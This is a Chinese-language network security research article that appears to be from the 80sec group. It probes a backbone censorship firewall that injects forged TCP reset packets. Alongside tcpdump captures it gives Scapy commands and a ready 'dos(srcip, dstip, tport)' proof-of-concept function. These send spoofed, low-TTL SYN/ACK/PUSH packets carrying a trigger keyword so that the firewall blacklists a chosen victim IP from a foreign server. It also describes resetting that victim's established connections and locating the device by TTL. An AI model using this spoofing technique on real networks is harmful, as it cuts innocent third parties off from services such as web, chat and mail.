21:47:54.691449 IP (tos 0x0, ttl 64, id 20835, offset 0, flags [DF], proto TCP (6), length 40) 192.168.1.2.53343 > 64.233.189.103.80: ., cksum 0x1234 (correct), 1951758129:1951758129(0) ack 2970573199 win 5840
21:47:54.696983 IP (tos 0x0, ttl 50, id 51733, offset 0, flags [none], proto TCP (6), length 60) 64.233.189.103.80 > 192.168.1.2.53343: S, cksum 0xa76e (correct), 794483022:794483022(0) ack 1951758129 win 5672 <mss 1412,sackOK,timestamp 929146873 206418,nop,wscale 6>
21:47:54.696998 IP (tos 0x0, ttl 64, id 20836, offset 0, flags [DF], proto TCP (6), length 40) 192.168.1.2.53343 > 64.233.189.103.80: ., cksum 0x1234 (correct), 1951758129:1951758129(0) ack 2970573199 win 5840
21:47:54.700298 IP (tos 0x0, ttl 43, id 26887, offset 0, flags [DF], proto TCP (6), length 40) 64.233.189.103.80 > 192.168.1.2.53343: R, cksum 0x292f (correct), 794483023:794483023(0) ack 1951758129 win 454
21:47:54.769090 IP (tos 0x0, ttl 46, id 26650, offset 0, flags [DF], proto TCP (6), length 40) 64.233.189.103.80 > 192.168.1.2.53343: R, cksum 0x2737 (correct), 2970573199:2970573199(0) ack 1951758129 win 457
21:47:54.769853 IP (tos 0x0, ttl 53, id 64, offset 0, flags [none], proto TCP (6), length 40) 64.233.189.103.80 > 192.168.1.2.53343: R, cksum 0xcb9f (correct), 2970573199:2970573199(0) win 18679
21:47:54.773332 IP (tos 0x0, ttl 50, id 51734, offset 0, flags [none], proto TCP (6), length 40) 64.233.189.103.80 > 192.168.1.2.53343: R, cksum 0x1497 (correct), 2970573199:2970573199(0) win 0
21:47:54.774292 IP (tos 0x0, ttl 48, id 26492, offset 0, flags [DF], proto TCP (6), length 40) 64.233.189.103.80 > 192.168.1.2.53343: R, cksum 0x2735 (correct), 2970573199:2970573199(0) ack 1951758129 win 459
21:47:54.775939 IP (tos 0x0, ttl 53, id 64, offset 0, flags [none], proto TCP (6), length 40) 64.233.189.103.80 > 192.168.1.2.53343: R, cksum 0xbf63 (correct), 2970573199:2970573199(0) win 21811
21:47:54.778871 IP (tos 0x0, ttl 50, id 51735, offset 0, flags [none], proto TCP (6), length 40) 64.233.189.103.80 > 192.168.1.2.53343: R, cksum 0x1497 (correct), 2970573199:2970573199(0) win 0

一个中间的服务器抢在真正的Google服务器之前给我们响应了我们的请求，而Google的回应却因为序列号出现差错导致服务器给我们发重置包，而在此过程中，ttl=43,46,53,48的，ID模拟正常的服务器向我们连回了N个rst包，这个链接必死无疑了，可见它多么痛恨我这个链接。也许我抓到的并不是最全的，但是基本原理应该都类似的，而且这种发送的ID，ttl都是伪造的，以这种方式很难定位到具体的设备位置和直接过滤掉，后面会说到另外一种定位方法：）这个动态的ACL在过两分钟最后会被清除，用户恢复对网站的访问。

0x02    Hack it，对防火墙类ids的一些安全研究

    我们在黑盒的方式了解了此类ids的基本原理之后，就可以想想这类ids的一些安全问题了，这里说的安全问题不是上面提到的绕过，而是其他我们在日常工作中可能遇到的问题，这里对设备的性能测试，误报率等也不做研究，这些也不是我们可以去考虑的问题，这里主要是来自于一个思路，既然这个神奇的设备已经作为一个基本安全设施，它的动态封禁机制会不会可以被利用来对某些境外的网站进行屏蔽来实现对国内用户的Dos，据一些媒体说美国也有类似的设施，但是美国只会记录而不会做类似于IPS的动作主动切断有威胁的的双方，这里的测试不再是被动的抓包了，我们使用一款强大的网络数据包调试工具，scapy，对于我这种只有脚本基础的人来说比较容易上手，基本用法如下：

Welcome to Scapy (v1.1.1 / f88d99910220)
>>> ls(IP)
version    : BitField             = (4)
ihl        : BitField             = (None)
tos        : XByteField           = (0)
len        : ShortField           = (None)
id         : ShortField           = (1)
flags      : FlagsField           = (0)
frag       : BitField             = (0)
ttl        : ByteField            = (64)
proto      : ByteEnumField        = (0)
chksum     : XShortField          = (None)
src        : Emph                 = (None)
dst        : Emph                 = (‘127.0.0.1’)
options    : IPoptionsField       = (‘’)
>>> ls(TCP)
sport      : ShortEnumField       = (20)
dport      : ShortEnumField       = (80)
seq        : IntField             = (0)
ack        : IntField             = (0)
dataofs    : BitField             = (None)
reserved   : BitField             = (0)
flags      : FlagsField           = (2)
window     : ShortField           = (8192)
chksum     : XShortField          = (None)
urgptr     : ShortField           = (0)
options    : TCPOptionsField      = ({})
>>>

我们可以很简单滴修改这些选项来构造适合自己的包并且发送出去，譬如：

>>>send(IP(dst=”64.233.189.103”)/TCP(dport=80,sport=57474,flags=”P”,seq=945149829)/“We are 80sec,play with packets”)

就会向Google的服务器发送一个源端口是57474，序列号是945149829的push包了，包的内容就是We are 80sec。
    这里测试的基本想法是，我们对一个想要攻击的ip如121.121.121.121，想使他不能访问google的服务器64.233.189.103，就可以想办法伪造一个它的ip通过这个神奇的设备并且触发规则就可以了。得益于国内运营商对数据包的来源有效性不会做任何限制，可以随便伪造别的IP的数据包发到指定的地方，同样得益于此的还有欣欣向荣的ddos行业，所以我们只要想办法触发这个神奇的设备的规则就是了。
    先进行最简单的：

>>> send(IP(dst=”64.233.189.103”,src=”121.121.121.121”)/TCP(dport=80,sport=57474,flags=”P”,seq=945149829)/“/?q=freenet/freenet”)

    这是一个完全扯淡的数据包，全部都是伪造的，如果这个数据包会触发规则的话，那么121.121.121.121就不能访问64.233.189.103这个Google的ip了，结果显而易见，没有任何影响。我们继续来测试，发送:

>>> send(IP(dst=”64.233.189.103”)/TCP(dport=80,sport=57474,flags=”P”,seq=945149829)/“/?q=freenet/freenet”)

同时在本机抓包以得到服务器的响应，一旦成功我们就可以把源IP换成想要攻击的IP了，发出去后只能抓到自己出去的包，没有任何服务端的响应，自然不包括这个神奇的设备的，抓包如下：

tcpdump: listening on eth0, link-type EN10MB (Ethernet), capture size 96 bytes
00:41:29.014316 IP (tos 0x0, ttl  64, id 1, offset 0, flags [none], proto: TCP (6), length: 59) 114.249.114.249.57474 > 64.233.189.103.80: P, cksum 0x9fb7 (correct), 945149829:945149848(19) win 8192

这个包不只这个神奇的设备忽略了，Google服务器也忽略了，这里我换了个测试环境，因为我处于NAT的环境，为了可以直接伪造所有的ip包，我使用了朋友的服务器做测试，好处就是伪造的ip不会被NAT防火墙丢弃也不会给我转换我的端口序列号之类。我测试了Syn，Ack等包，都发现数据包顺利的到达了Google服务器，不过没有违反这个神奇的设备的规则。
    看来这个神奇的设备还是有一些防范策略，没有想象中那样直接检测push包，起码是能对非法的，无效的TCP链接进行识别。很佩服防火墙的伟大，这么大的流量还能做到这种程度，公司内部的防火墙那么点流量还吱呀吱呀响呢，猜测没有用，回忆前面提到的，能控制一个TCP链接需要的几个元素，我们需要五元组，测试看看，我们先建立一条正常的到Google的链接，并且抓取五元组来测试：

tcpdump: listening on eth0, link-type EN10MB (Ethernet), capture size 96 bytes
d00:49:38.694884 IP (tos 0x0, ttl  64, id 55469, offset 0, flags [DF], proto: TCP (6), length: 60) 114.249.114.249.60931 > 64.233.189.103.80: S, cksum 0x188c (correct), 3664548093:3664548093(0) win 5840 <mss 1460,sackOK,timestamp 1951942736 0,nop,wscale 7>
00:49:38.745534 IP (tos 0x0, ttl  51, id 57212, offset 0, flags [none], proto: TCP (6), length: 60) 64.233.189.103.80 > 114.249.114.249.60931: S, cksum 0x40d4 (correct), 2550448670:2550448670(0) ack 3664548094 win 5672 <mss 1430,sackOK,timestamp 1084177835 1951942736,nop,wscale 6>
00:49:38.745546 IP (tos 0x0, ttl  64, id 55470, offset 0, flags [DF], proto: TCP (6), length: 52) 114.249.114.249.60931 > 64.233.189.103.80: ., cksum 0x8548 (correct), 3664548094:3664548094(0) ack 2550448671 win 46 <nop,nop,timestamp 1951942787 1084177835>

    呵呵，然后我们构造一个接近真实的五元组都正确的链接，只有序列号是错误的：

>>> send(IP(dst=”64.233.189.103”)/TCP(dport=80,sport=60931,flags=”P”,seq=123456)/“/?q=freenet/freenet”)

服务器返回

00:52:12.606688 IP (tos 0x0, ttl  64, id 1, offset 0, flags [none], proto: TCP (6), length: 59) 114.249.114.249.60931 > 64.233.189.103.80: P, cksum 0xbfcf (correct), 123456:123475(19) win 8192
00:52:12.657154 IP (tos 0x0, ttl  51, id 57212, offset 0, flags [none], proto: TCP (6), length: 52) 64.233.189.103.80 > 114.249.114.249.60931: ., cksum 0x2be4 (correct), 2550448671:2550448671(0) ack 3664548094 win 89 <nop,nop,timestamp 1084331746 1951942787>
数据包顺利的通过了这个神奇的设备，Google还给我们发来了纠正序列号的ack包。这个时候我就很惊奇了，对一条链接真实性的验证可以不只到达五元组程度，甚至可以到达序列号的级别，而它所做的地方是在国家的主干上，这几乎是不可想象的。这个时候思考这个神奇的设备的实现方式，可能是维护一个链接的状态表，并且对这个表的所有状态进行实时跟踪，但这样他就太吊了，这个时候开始想到用一些畸形包来测试防火墙的机制。
    从前面知道，我们到Google服务器的TTL是14跳，也就是如果我们发初始TTL小于14的话，按照TTL的基本原理，请求是不会达到Google的服务器的，如果我们控制TTL=12的话甚至可以将包通过这个神奇的设备但是不到达服务器，这个时候我们知道，如果我们在两侧放置自己的机器，在另外一侧可以伪造成Google的服务器，在自己这一侧伪造成目标的IP，控制TTL让两端的机器互相通迅触发规则，直到被这个神奇的设备列入灰名单，但是真正的被伪造的IP却不会知道发生了什么。这个思路肯定可以成功，但是之前我们可以试试其他的，毕竟我没有国外的机器，有不有可能在一端发数据包就可以实现将别的IP列入灰名单呢？我在尝试这个神奇的设备跟踪链接时的设计时找到了答案。前面我们知道，这个神奇的设备对一个请求的跟踪能够达到序列号级别，这是不可思议的事情，因为计算量和数据量太大了，那个时候我就怀疑这个神奇的设备会不会对数据包做验证，那样会增加计算量，对于骨干级的设备来说不可接受的，万一判断完之后真正的服务器已经返回了就麻烦了。同时，由于这个神奇的设备架构的设计，我们能控制数据包的出口，但是实际上数据包的返回的时候走的是可能完全不同的一条路由，所以不可能对请求的跟踪做到双向跟踪，这里的跟踪完全可能是一种虚拟行为的，对发起请求一端的校验。这里的测试也很简单，也证明了我的结论：

>>> send(IP(dst=”64.233.189.103”,ttl=10)/TCP(dport=80,sport=2222,flags=”S”,seq=1234567))
>>> send(IP(dst=”64.233.189.103”,ttl=10)/TCP(dport=80,sport=2222,flags=”A”,seq=1234568))
>>> send(IP(dst=”64.233.189.103”,ttl=10)/TCP(dport=80,sport=2222,flags=”P”,seq=1234568)/“GET /search?hl=en&source=hp&q=freenet/freenet&oq=&aqi=1 HTTP/1.1
\r\nHOST: www.google.com\\r\\n\\r\\n\\r\\n“)

注意我在伪造ttl的时候使用ttl=10，这个时候可以避免数据包传到真正的Google服务器，服务器返回ack的时候被伪造的IP会发rst重置链接而导致发起数据失败，防火墙会看到这个rst包而认为后面的push包已经过时。通过发出上面的这三个伪造的数据包，我们就可以让64.233.189.103对我的IP不可访问，可以看到其中的包括源端口，目的端口，序列号都是我自己定义的，在防火墙看来，就是我在跟64.233.189.103发起非法链接，毕竟它只能完全信任我，它没有其他的可以信任:)，想让121.121.121.121不能访问Google的80端口只需要发送下面三个包：

>>> send(IP(dst=”64.233.189.103”,src=”121.121.121.121”,ttl=10)/TCP(dport=80,sport=2222,flags=”S”,seq=1234567))
>>> send(IP(dst=”64.233.189.103”,src=”121.121.121.121”,ttl=10)/TCP(dport=80,sport=2222,flags=”A”,seq=1234568))
>>> send(IP(dst=”64.233.189.103”,src=”121.121.121.121”,ttl=10)/TCP(dport=80,sport=2222,flags=”P”,seq=1234568)/“GET /q=freenet/freenet&oq=&aqi=1 HTTP/1.1”)

甚至可以利用这个对其他的应用如gtalk进行dos，我们只要知道某个公司的出口ip，然后罗列gtalk的使用ip和端口就可以做到，非常简单，现在很多的网站往国外搬，那你有不有考虑本文提到的风险呢？有的公司甚至将Mail服务器放置在国外……
    但是也可以看到，我们已经实现将后续的链接断开，因为tcp链接序列号的未知性，利用上面提到的貌似还不能让已经建立完成的tcp链接reset，但实际上这款有爱的过滤系统已经帮我们想到了，同时用nc跟Google建立两个链接，在其中一个链接里触发规则，然后在另一个无辜的链接只要被防火墙发现，就会立刻被reset了，看如下的抓包：

tcpdump: listening on eth0, link-type EN10MB (Ethernet), capture size 96 bytes
20:26:52.574643 IP (tos 0x0, ttl  64, id 55786, offset 0, flags [DF], proto: TCP (6), length: 60) 114.249.114.249.60949 > 64.233.189.147.80: S, cksum 0x339b (correct), 1962684567:1962684567(0) win 5840 <mss 1460,sackOK,timestamp 2109008253 0,nop,wscale 7>
20:26:52.617778 IP (tos 0x0, ttl  51, id 15574, offset 0, flags [none], proto: TCP (6), length: 60) 64.233.189.147.80 > 114.249.114.249.60949: S, cksum 0x8801 (correct), 4247640462:4247640462(0) ack 1962684568 win 5672 <mss 1430,sackOK,timestamp 1246071629 2109008253,nop,wscale 6>
20:26:52.617791 IP (tos 0x0, ttl  64, id 55787, offset 0, flags [DF], proto: TCP (6), length: 52) 114.249.114.249.60949 > 64.233.189.147.80: ., cksum 0xcc7d (correct), 1962684568:1962684568(0) ack 4247640463 win 46 <nop,nop,timestamp 2109008296 1246071629>

20:27:00.456284 IP (tos 0x0, ttl  64, id 60678, offset 0, flags [DF], proto: TCP (6), length: 60) 114.249.114.249.60979 > 64.233.189.147.80: S, cksum 0x5ebc (correct), 1983571278:1983571278(0) win 5840 <mss 1460,sackOK,timestamp 2109016136 0,nop,wscale 7>
20:27:00.499066 IP (tos 0x0, ttl  51, id 4036, offset 0, flags [none], proto: TCP (6), length: 60) 64.233.189.147.80 > 114.249.114.249.60979: S, cksum 0xc1d9 (correct), 816454471:816454471(0) ack 1983571279 win 5672 <mss 1430,sackOK,timestamp 1259538068 2109016136,nop,wscale 6>
20:27:00.499074 IP (tos 0x0, ttl  64, id 60679, offset 0, flags [DF], proto: TCP (6), length: 52) 114.249.114.249.60979 > 64.233.189.147.80: ., cksum 0x0656 (correct), 1983571279:1983571279(0) ack 816454472 win 46 <nop,nop,timestamp 2109016179 1259538068>

20:27:18.827802 IP (tos 0x0, ttl  64, id 60680, offset 0, flags [DF], proto: TCP (6), length: 77) 114.249.114.249.60979 > 64.233.189.147.80: P, cksum 0x02a9 (incorrect (-> 0xd051), 1983571279:1983571304(25) ack 816454472 win 46 <nop,nop,timestamp 2109034511 1259538068>
20:27:18.870912 IP (tos 0x0, ttl  51, id 4036, offset 0, flags [none], proto: TCP (6), length: 52) 64.233.189.147.80 > 114.249.114.249.60979: ., cksum 0x76b1 (correct), 816454472:816454472(0) ack 1983571304 win 89 <nop,nop,timestamp 1259556440 2109034511>
20:27:19.289520 IP (tos 0x0, ttl  64, id 60681, offset 0, flags [DF], proto: TCP (6), length: 53) 114.249.114.249.60979 > 64.233.189.147.80: P, cksum 0x0291 (incorrect (-> 0x6b05), 1983571304:1983571305(1) ack 816454472 win 46 <nop,nop,timestamp 2109034973 1259556440>
20:27:19.334402 IP (tos 0x0, ttl  51, id 4037, offset 0, flags [none], proto: TCP (6), length: 52) 64.233.189.147.80 > 114.249.114.249.60979: ., cksum 0x7315 (correct), 816454472:816454472(0) ack 1983571305 win 89 <nop,nop,timestamp 1259556901 2109034973>
20:27:19.338648 IP (tos 0x0, ttl  52, id 64, offset 0, flags [none], proto: TCP (6), length: 40) 64.233.189.147.80 > 114.249.114.249.60979: R, cksum 0x0142 (correct), 816454472:816454472(0) win 29119

20:27:37.856781 IP (tos 0x0, ttl  64, id 55788, offset 0, flags [DF], proto: TCP (6), length: 67) 114.249.114.249.60949 > 64.233.189.147.80: P, cksum 0x029f (incorrect (-> 0x4d19), 1962684568:1962684583(15) ack 4247640463 win 46 <nop,nop,timestamp 2109053544 1246071629>
20:27:37.900887 IP (tos 0x0, ttl  51, id 15574, offset 0, flags [none], proto: TCP (6), length: 52) 64.233.189.147.80 > 114.249.114.249.60949: ., cksum 0x6aa0 (correct), 4247640463:4247640463(0) ack 1962684583 win 89 <nop,nop,timestamp 1246116911 2109053544>
20:27:37.911380 IP (tos 0x0, ttl  52, id 64, offset 0, flags [none], proto: TCP (6), length: 40) 64.233.189.147.80 > 114.249.114.249.60949: R, cksum 0xd646 (correct), 4247640463:4247640463(0) win 4621

    这个时候抓包的时候由于我换了服务器注意ttl已经跟之前不一样了，但是那个id=64露出了尾巴，前面三个包是第一个tcp链接，端口是60949，后面一个链接的端口是60979，下面的是60979触发规则被reset掉了，然后本来正常的第二个链接一旦发出了数据包就立刻被reset，充分证明了这个联动的迅速和及时：）
    那我们就有了满篇废话之后的一个简单的结论，dos国内和国外的链接是可能的，无论是建立好的还是未建立的，在scapy里的poc函数如下：

def dos(srcip, dstip , tport ):
    send(IP(dst=dstip,src=srcip,ttl=10)/TCP(dport=tport,sport=3223,flags=”S”,seq=3334567))
    send(IP(dst=dstip,src=srcip,ttl=10)/TCP(dport=tport,sport=3223,flags=”A”,seq=3334568))
    send(IP(dst=dstip,src=srcip,ttl=10)/TCP(dport=tport,sport=3223,flags=”P”,seq=3334568)/“GET /?q=freenet/freenet HTTP/1.1\r\n\r\n”)
dos(“114.249.114.249”,”64.233.189.103”,80);   

    最后再说说前面的问题，如何在数据包完全被伪造的时候判断设备的物理位置，很明显，还是利用TTL：

>>> send(IP(dst=”64.233.189.103”,src=”121.121.121.121”,ttl=8)/TCP(dport=80,sport=2222,flags=”P”,seq=1234568)/“GET /q=freenet/freenet&oq=&aqi=1 HTTP/1.1”)

    在ttl=8的时候，我们依然收到了系统的重置包，这样就可以判断数据包被旁路的位置了：）

0x03    后话

    从技术角度来讲，避免这种方式的攻击会比较困难，防火墙作为一个安全设备是不能对正常的使用造成影响的，所以检测的方式来说还是比较被动，譬如不能实时的丢弃一个数据包，前面我就很奇怪为什么防火墙不直接丢弃发起链接的syn包或者发起非法链接的psh包呢，这是因为防火墙整个架构和设计造成的，整个数据包已经到达服务器了，他不能丢弃。同样，由于架构的原因，我们无法使同一条tcp的数据流永远经过同一个路由器同一个设备，所以我们无法对一个数据包的有效性做验证，而即使可以验证整个请求的有效性也可以看到，在防火墙两侧一起愚弄防火墙是多么容易的事情，跟以前的反弹穿透防火墙一样，利用ttl的差异我们一样可以bypass掉对一个数据包做真实的有效性验证，这里包括其他厂商的如Cisco等设备都可能会有这种问题。我不知道对于一个设备来说，抛弃一个ttl过小的包是否明智，防火墙是旁路在设备里，也无法对ttl比较小的包做到实时的丢弃，一旦发现发现有ttl过小的包肯定不能直接放过，因为可能别人就利用这个来bypass防火墙，那么必须对ttl过小的包做处理，处理包括响应rst链接要求重置，这的确会缓解本文提到的问题，但是不知道这么复杂的逻辑会不会带来新的问题，逻辑可能本身就是漏洞。在TTL之外，而相信其他的畸形的数据包一样可能造成设备处理上的失误，只要服务器和设备对数据包处理不一致就可以实现，而这种不一致性因为种种原因是非常多的。本文只是对学习的网络知识做了一次实践，感谢历来帮助我学习的同学，你们知道你们是谁：）